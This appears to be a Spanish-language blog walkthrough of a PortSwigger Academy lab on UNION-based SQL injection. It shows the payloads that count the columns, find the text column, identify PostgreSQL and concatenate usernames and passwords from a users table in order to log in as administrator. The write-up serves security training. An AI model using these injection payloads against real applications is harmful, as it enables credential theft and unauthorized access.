Lab 10 SQLi PortSwigger Academy

Introducción

LABORATORIO 10: SQL injection UNION attack, retrieving multiple values in a single column

Este laboratorio contiene una vulnerabilidad de inyección SQL en el filtro de categoría de producto. Los resultados de la consulta se devuelven en la respuesta de la aplicación para que pueda usar un ataque UNION para recuperar datos de otras tablas.

La base de datos contiene una tabla diferente llamada users, con columnas llamadas usernamepassword.

Para resolver el laboratorio, realice un ataque UNION de inyección SQL que recupere todos los nombres de usuario y contraseñas, y use la información para iniciar sesión como usuario administrator.

Solución

Determinar el número de columnas devueltas

' UNION SELECT NULL -- 
' UNION SELECT NULL, NULL -- 
' UNION SELECT NULL, NULL, NULL -- 

Por los resultados obtenidos, sabemos que la petición devuelve dos columnas.

Determinar que columnas contiene datos strings

' UNION SELECT 'a', NULL -- 
' UNION SELECT NULL, 'a' -- 

En este caso, solo la segunda columna de la base de datos contiene texto, que corresponde a los nombres de usuario y contraseñas. Sin embargo, para obtener tanto el nombre de usuario como la contraseña de esta columna, necesitamos combinar las cadenas de texto correspondientes. No obstante, para lograrlo, es importante conocer la versión de la base de datos para asegurarnos de utilizar el método adecuado.

' UNION SELECT NULL, version() --

Por el resultado obtenido, PostgreSQL es el sistema de gestión de bases de datos. Por lo tanto, utilizaremos su sintaxis específica para combinar cadenas de texto.

' UNION (SELECT null,username || '~~~' || password FROM users)--

Solo quedará utilizar las credenciales del usuario administrator para resolver este laboratorio.

No responses yet

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *